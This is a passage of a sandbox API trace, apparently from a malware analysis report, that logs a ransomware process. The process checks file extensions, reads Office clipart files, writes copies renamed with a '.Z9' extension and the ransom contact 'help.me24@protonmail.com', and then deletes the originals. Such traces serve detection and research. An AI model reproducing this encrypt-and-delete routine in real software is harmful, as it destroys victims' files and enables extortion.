	[0084.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".xls") returned 4
	[0084.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.851] lstrlenW (lpString=".xlsx") returned 5
	[0084.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.851] lstrlenW (lpString=".ppt") returned 4
	[0084.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".zip") returned 4
	[0084.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.851] lstrlenW (lpString=".rar") returned 4
	[0084.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".bz2") returned 4
	[0084.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".7z") returned 3
	[0084.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".dbf") returned 4
	[0084.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.852] lstrlenW (lpString=".1cd") returned 4
	[0084.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.852] lstrlenW (lpString=".jpg") returned 4
	[0084.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.852] lstrlenW (lpString=".doc") returned 4
	[0084.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString=".docx") returned 5
	[0084.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.852] lstrlenW (lpString=".pdf") returned 4
	[0084.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString=".xls") returned 4
	[0084.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.852] lstrlenW (lpString=".xlsx") returned 5
	[0084.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.852] lstrlenW (lpString=".ppt") returned 4
	[0084.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.852] lstrlenW (lpString=".zip") returned 4
	[0084.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.852] lstrlenW (lpString=".rar") returned 4
	[0084.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString=".bz2") returned 4
	[0084.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.852] lstrlenW (lpString=".7z") returned 3
	[0084.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.852] lstrlenW (lpString=".dbf") returned 4
	[0084.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.853] lstrlenW (lpString=".1cd") returned 4
	[0084.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.853] lstrlenW (lpString=".jpg") returned 4
	[0084.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.853] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.853] lstrlenW (lpString="BL00012_.WMF") returned 12
	[0084.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.853] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9818) returned 1
	[0084.853] CloseHandle (hObject=0x324) returned 1
	[0084.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220
	[0084.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.853] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.854] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.854] GetLastError () returned 0x0
	[0084.854] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x265a, lpOverlapped=0x0) returned 1
	[0084.856] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2660, lpOverlapped=0x0) returned 1
	[0084.857] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.857] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.857] SetEndOfFile (hFile=0x300) returned 1
	[0084.857] CloseHandle (hObject=0x300) returned 1
	[0084.858] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.858] SetEndOfFile (hFile=0x324) returned 1
	[0084.859] CloseHandle (hObject=0x324) returned 1
	[0084.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1
	[0084.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.859] lstrlenW (lpString=".doc") returned 4
	[0084.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.859] lstrlenW (lpString=".docx") returned 5
	[0084.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.859] lstrlenW (lpString=".pdf") returned 4
	[0084.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString=".xls") returned 4
	[0084.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.860] lstrlenW (lpString=".xlsx") returned 5
	[0084.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.860] lstrlenW (lpString=".ppt") returned 4
	[0084.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.860] lstrlenW (lpString=".zip") returned 4
	[0084.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.860] lstrlenW (lpString=".rar") returned 4
	[0084.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString=".bz2") returned 4
	[0084.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString=".7z") returned 3
	[0084.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.860] lstrlenW (lpString=".dbf") returned 4
	[0084.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.860] lstrlenW (lpString=".1cd") returned 4
	[0084.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.860] lstrlenW (lpString=".jpg") returned 4
	[0084.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.860] lstrlenW (lpString=".doc") returned 4
	[0084.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.860] lstrlenW (lpString=".docx") returned 5
	[0084.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.861] lstrlenW (lpString=".pdf") returned 4
	[0084.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.861] lstrlenW (lpString=".xls") returned 4
	[0084.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.861] lstrlenW (lpString=".xlsx") returned 5
	[0084.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.861] lstrlenW (lpString=".ppt") returned 4
	[0084.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.861] lstrlenW (lpString=".zip") returned 4
	[0084.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.861] lstrlenW (lpString=".rar") returned 4
	[0084.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.861] lstrlenW (lpString=".bz2") returned 4
	[0084.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.861] lstrlenW (lpString=".7z") returned 3
	[0084.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.861] lstrlenW (lpString=".dbf") returned 4
	[0084.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.861] lstrlenW (lpString=".1cd") returned 4
	[0084.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0084.861] lstrlenW (lpString=".jpg") returned 4
	[0084.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.861] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.861] lstrlenW (lpString="BL00045_.WMF") returned 12
	[0084.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.862] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7862) returned 1
	[0084.862] CloseHandle (hObject=0x324) returned 1
	[0084.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220
	[0084.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.862] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.862] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.862] GetLastError () returned 0x0
	[0084.862] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1eb6, lpOverlapped=0x0) returned 1
	[0084.864] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1ec0, lpOverlapped=0x0) returned 1
	[0084.865] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.865] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.865] SetEndOfFile (hFile=0x300) returned 1
	[0084.865] CloseHandle (hObject=0x300) returned 1
	[0084.866] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.866] SetEndOfFile (hFile=0x324) returned 1
	[0084.867] CloseHandle (hObject=0x324) returned 1
	[0084.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1
	[0084.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString=".doc") returned 4
	[0084.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString=".docx") returned 5
	[0084.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.868] lstrlenW (lpString=".pdf") returned 4
	[0084.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString=".xls") returned 4
	[0084.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.868] lstrlenW (lpString=".xlsx") returned 5
	[0084.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.868] lstrlenW (lpString=".ppt") returned 4
	[0084.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString=".zip") returned 4
	[0084.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.868] lstrlenW (lpString=".rar") returned 4
	[0084.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString=".bz2") returned 4
	[0084.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString=".7z") returned 3
	[0084.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString=".dbf") returned 4
	[0084.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString=".1cd") returned 4
	[0084.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString=".jpg") returned 4
	[0084.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.868] lstrlenW (lpString=".doc") returned 4
	[0084.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString=".docx") returned 5
	[0084.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.869] lstrlenW (lpString=".pdf") returned 4
	[0084.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString=".xls") returned 4
	[0084.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.869] lstrlenW (lpString=".xlsx") returned 5
	[0084.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.869] lstrlenW (lpString=".ppt") returned 4
	[0084.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.869] lstrlenW (lpString=".zip") returned 4
	[0084.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.869] lstrlenW (lpString=".rar") returned 4
	[0084.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString=".bz2") returned 4
	[0084.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString=".7z") returned 3
	[0084.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.869] lstrlenW (lpString=".dbf") returned 4
	[0084.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.869] lstrlenW (lpString=".1cd") returned 4
	[0084.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0084.869] lstrlenW (lpString=".jpg") returned 4
	[0084.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.869] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.870] lstrlenW (lpString="BL00098_.WMF") returned 12
	[0084.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.870] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1012) returned 1
	[0084.870] CloseHandle (hObject=0x324) returned 1
	[0084.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220
	[0084.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.870] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.870] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.871] GetLastError () returned 0x0
	[0084.871] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3f4, lpOverlapped=0x0) returned 1
	[0085.139] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x400, lpOverlapped=0x0) returned 1
	[0085.140] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.140] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.140] SetEndOfFile (hFile=0x300) returned 1
	[0085.524] CloseHandle (hObject=0x300) returned 1
	[0085.547] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.547] SetEndOfFile (hFile=0x324) returned 1
	[0085.548] CloseHandle (hObject=0x324) returned 1
	[0085.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1
	[0085.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.549] lstrlenW (lpString=".doc") returned 4
	[0085.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.549] lstrlenW (lpString=".docx") returned 5
